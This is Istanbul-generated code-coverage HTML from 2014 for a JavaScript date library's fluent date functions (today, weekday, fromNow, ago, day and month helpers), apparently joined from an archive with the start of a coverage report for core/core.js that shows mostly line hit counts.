	 * Determines if the current date/time occurs during Today. Must be preceded by the .is() function.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	someDate.is().today();    // true|false
	new Date().is().today();  // true
	Date.today().is().today();// true
	Date.today().add(-1).day().is().today(); // false
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Boolean}    true|false
	 */
	$P.today = function () {
		return this.same().day();
	};
&nbsp;
	/** 
	 * Determines if the current date is a weekday. This function must be preceded by the .is() function.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.today().is().weekday(); // true|false
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Boolean}    true|false
	 */
	$P.weekday = function () {
		if (this._nth) {
			return df("Weekday").call(this);
		}
		if (this._move) {
			return this.addWeekdays(this._orient);
		}
		if (this._is) {
			this._is = false;
			return (!this.is().sat() &amp;&amp; !this.is().sun());
		}
		return false;
	};
	/** 
	 * Determines if the current date is on the weekend. This function must be preceded by the .is() function.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	Date.today().is().weekend(); // true|false
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Boolean}    true|false
	 */
	$P.weekend = function () {
		if (this._is) {
			this._is = false;
			return (this.is().sat() || this.is().sun());
		}
		return false;
	};
&nbsp;
	/** 
	 * Sets the Time of the current Date instance. A string "6:15 pm" or config object {hour:18, minute:15} are accepted.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	// Set time to 6:15pm with a String
	Date.today().at("6:15pm");
&nbsp;
	// Set time to 6:15pm with a config object
	Date.today().at({hour:18, minute:15});
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Date}    date
	 */
	$P.at = function (time) {
		return (typeof time === "string") ? $D.parse(this.toString("d") + " " + time) : <span class="branch-1 cbranch-no" title="branch not covered" >this.set(time);</span>
	};
		
	/** 
	 * Creates a new Date() and adds this (Number) to the date based on the preceding date element function (eg. second|minute|hour|day|month|year).
	 * Example
	&lt;pre&gt;&lt;code&gt;
	// Undeclared Numbers must be wrapped with parentheses. Requirment of JavaScript.
	(3).days().fromNow();
	(6).months().fromNow();
&nbsp;
	// Declared Number variables do not require parentheses. 
	var n = 6;
	n.months().fromNow();
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Date}    A new Date instance
	 */
	$N.fromNow = $N.after = function (date) {
		var c = {};
		c[this._dateElement] = this;
		return ((!date) ? new Date() : <span class="branch-1 cbranch-no" title="branch not covered" >date.clone())</span>.add(c);
	};
&nbsp;
	/** 
	 * Creates a new Date() and subtract this (Number) from the date based on the preceding date element function (eg. second|minute|hour|day|month|year).
	 * Example
	&lt;pre&gt;&lt;code&gt;
	// Undeclared Numbers must be wrapped with parentheses. Requirment of JavaScript.
	(3).days().ago();
	(6).months().ago();
&nbsp;
	// Declared Number variables do not require parentheses. 
	var n = 6;
	n.months().ago();
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Date}    A new Date instance
	 */
	$N.ago = $N.before = function (date) {
		var c = {},
		s = (this._dateElement[this._dateElement.length-1] !== "s") ? <span class="branch-0 cbranch-no" title="branch not covered" >this._dateElement + "s" </span>: this._dateElement;
		c[s] = this * -1;
		return ((!date) ? new Date() : <span class="branch-1 cbranch-no" title="branch not covered" >date.clone())</span>.add(c);
	};
&nbsp;
	// Do NOT modify the following string tokens. These tokens are used to build dynamic functions.
	// All culture-specific strings can be found in the CultureInfo files.
	var dx = ("sunday monday tuesday wednesday thursday friday saturday").split(/\s/),
		mx = ("january february march april may june july august september october november december").split(/\s/),
		px = ("Millisecond Second Minute Hour Day Week Month Year Quarter Weekday").split(/\s/),
		pxf = ("Milliseconds Seconds Minutes Hours Date Week Month FullYear Quarter").split(/\s/),
		nth = ("final first second third fourth fifth").split(/\s/),
		de;
&nbsp;
   /** 
	 * Returns an object literal of all the date parts.
	 * Example
	&lt;pre&gt;&lt;code&gt;
	var o = new Date().toObject();
	
	// { year: 2008, month: 4, week: 20, day: 13, hour: 18, minute: 9, second: 32, millisecond: 812 }
	
	// The object properties can be referenced directly from the object.
	
	alert(o.day);  // alerts "13"
	alert(o.year); // alerts "2008"
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Date}    An object literal representing the original date object.
	 */
	$P.toObject = function () {
		var o = {};
		for (var i = 0; i &lt; px.length; i++) {
			if (this["get" + pxf[i]]) {
				o[px[i].toLowerCase()] = this["get" + pxf[i]]();
			}
		}
		return o;
	};
   
   /** 
	 * Returns a date created from an object literal. Ignores the .week property if set in the config. 
	 * Example
	&lt;pre&gt;&lt;code&gt;
	var o = new Date().toObject();
	
	return Date.fromObject(o); // will return the same date. 
&nbsp;
	var o2 = {month: 1, day: 20, hour: 18}; // birthday party!
	Date.fromObject(o2);
	&lt;/code&gt;&lt;/pre&gt;
	 *  
	 * @return {Date}    An object literal representing the original date object.
	 */
	$D.fromObject = function(config) {
		config.week = null;
		return Date.today().set(config);
	};
		
	// Create day name functions and abbreviated day name functions (eg. monday(), friday(), fri()).
	
	var df = function (n) {
		return function () {
			if (this._is) {
				this._is = false;
				return this.getDay() === n;
			}
			if (this._move) { this._move = null; }
			if (this._nth !== null) {
				// If the .second() function was called earlier, remove the _orient 
				// from the date, and then continue.
				// This is required because 'second' can be used in two different context.
				// 
				// Example
				//
				//   Date.today().add(1).second();
				//   Date.march().second().monday();
				// 
				// Things get crazy with the following...
				//   Date.march().add(1).second().second().monday(); // but it works!!
				//  
				if (this._isSecond) {
					this.addSeconds(this._orient * -1);
				}
				// make sure we reset _isSecond
				this._isSecond = false;
&nbsp;
				var ntemp = this._nth;
				this._nth = null;
				var temp = this.clone().moveToLastDayOfMonth();
				this.moveToNthOccurrence(n, ntemp);
				if (this &gt; temp) {
					throw new RangeError($D.getDayName(n) + " does not occur " + ntemp + " times in the month of " + $D.getMonthName(temp.getMonth()) + " " + temp.getFullYear() + ".");
				}
				return this;
			}
			return this.moveToDayOfWeek(n, this._orient);
		};
	};
	
	var sdf = function (n) {
		return function () {
			var t = $D.today(), shift = n - t.getDay();
			<span class="missing-if-branch" title="if path not taken" >I</span>if (n === 0 &amp;&amp; <span class="branch-1 cbranch-no" title="branch not covered" >Date.CultureInfo.firstDayOfWeek === 1 </span>&amp;&amp; <span class="branch-2 cbranch-no" title="branch not covered" >t.getDay() !== 0)</span> {
<span class="cstat-no" title="statement not covered" >				shift = shift + 7;</span>
			}
			return t.addDays(shift);
		};
	};
	
&nbsp;
	
	// Create month name functions and abbreviated month name functions (eg. january(), march(), mar()).
	var month_instance_functions = function (n) {
		return function () {
			if (this._is) {
				this._is = false;
				return this.getMonth() === n;
			}
			return this.moveToMonth(n, this._orient);
		};
	};
	
	var month_static_functions = function (n) {
		return function () {
			return $D.today().set({ month: n, day: 1 });
		};
	};
	
	var processTerms = function (names, staticFunc, instanceFunc) {
		for (var i = 0; i &lt; names.length; i++) {
			// Create constant static Name variables.
			$D[names[i].toUpperCase()] = $D[names[i].toUpperCase().substring(0, 3)] = i;
			// Create Name functions.
			$D[names[i]] = $D[names[i].substring(0, 3)] = staticFunc(i);
			// Create Name instance functions.
			$P[names[i]] = $P[names[i].substring(0, 3)] = instanceFunc(i);
		}
&nbsp;
	};
&nbsp;
	processTerms(dx, sdf, df);
	processTerms(mx, month_static_functions, month_instance_functions);
	
	// Create date element functions and plural date element functions used with Date (eg. day(), days(), months()).
	var ef = function (j) {
		return function () {
			// if the .second() function was called earlier, the _orient 
			// has alread been added. Just return this and reset _isSecond.
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this._isSecond) {
<span class="cstat-no" title="statement not covered" >				this._isSecond = false;</span>
<span class="cstat-no" title="statement not covered" >				return this;</span>
			}
&nbsp;
			if (this._same) {
				this._same = this._is = false;
				var o1 = this.toObject(),
					o2 = (arguments[0] || new Date()).toObject(),
					v = "",
					k = j.toLowerCase();
&nbsp;
				// the substr trick with -1 doesn't work in IE8 or less
				k = (k[k.length-1] === "s") ? k.substring(0,k.length-1) : <span class="branch-1 cbranch-no" title="branch not covered" >k;</span>
					
				for (var m = (px.length - 1); m &gt; -1; m--) {
					v = px[m].toLowerCase();
					if (o1[v] !== o2[v]) {
						return false;
					}
					if (k === v) {
						break;
					}
				}
				return true;
			}
			
			if (j.substring(j.length - 1) !== "s") {
				j += "s";
			}
			if (this._move) { this._move = null; }
			return this["add" + j](this._orient);
		};
	};
	
	
	var nf = function (n) {
		return function () {
			this._dateElement = n;
			return this;
		};
	};
   
	for (var k = 0; k &lt; px.length; k++) {
		de = px[k].toLowerCase();
		if(de !== "weekday") {
			// Create date element functions and plural date element functions used with Date (eg. day(), days(), months()).
			$P[de] = $P[de + "s"] = ef(px[k]);
			
			// Create date element functions and plural date element functions used with Number (eg. day(), days(), months()).
			$N[de] = $N[de + "s"] = nf(de + "s");
		}
	}
	
	$P._ss = ef("Second");
	
	var nthfn = function (n) {
		return function (dayOfWeek) {
			<span class="missing-if-branch" title="if path not taken" >I</span>if (this._same) {
<span class="cstat-no" title="statement not covered" >				return this._ss(arguments[0]);</span>
			}
			<span class="missing-if-branch" title="if path not taken" >I</span>if (dayOfWeek || dayOfWeek === 0) {
<span class="cstat-no" title="statement not covered" >				return this.moveToNthOccurrence(dayOfWeek, n);</span>
			}
			this._nth = n;
&nbsp;
			// if the operator is 'second' add the _orient, then deal with it later...
			if (n === 2 &amp;&amp; (dayOfWeek === undefined || <span class="branch-2 cbranch-no" title="branch not covered" >dayOfWeek === null)</span>) {
				this._isSecond = true;
				return this.addSeconds(this._orient);
			}
			return this;
		};
	};
&nbsp;
	for (var l = 0; l &lt; nth.length; l++) {
		$P[nth[l]] = (l === 0) ? nthfn(-1) : nthfn(l);
	}
}());
&nbsp;</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
core.js.html000066600000123277152444006550007022 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/core.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header high">
    <h1>Code coverage report for <span class="entity">core/core.js</span></h1>
    <h2>
        
        Statements: <span class="metric">96.77% <small>(120 / 124)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">90.11% <small>(82 / 91)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">91.18% <small>(31 / 34)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">98.36% <small>(120 / 122)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; core.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344</td><td class="line-coverage"><span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2094</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">408</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">403</span>
<span class="cline-any cline-yes">401</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">398</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">26</span>
<span class="cline-any cline-yes">26</span>
<span class="cline-any cline-yes">105</span>
<span class="cline-any cline-yes">24</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">24</span>
<span class="cline-any cline-yes">24</span>
<span class="cline-any cline-yes">163</span>
<span class="cline-any cline-yes">23</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">591</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">588</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">588</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">166</span>
<span class="cline-any cline-yes">166</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">399</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
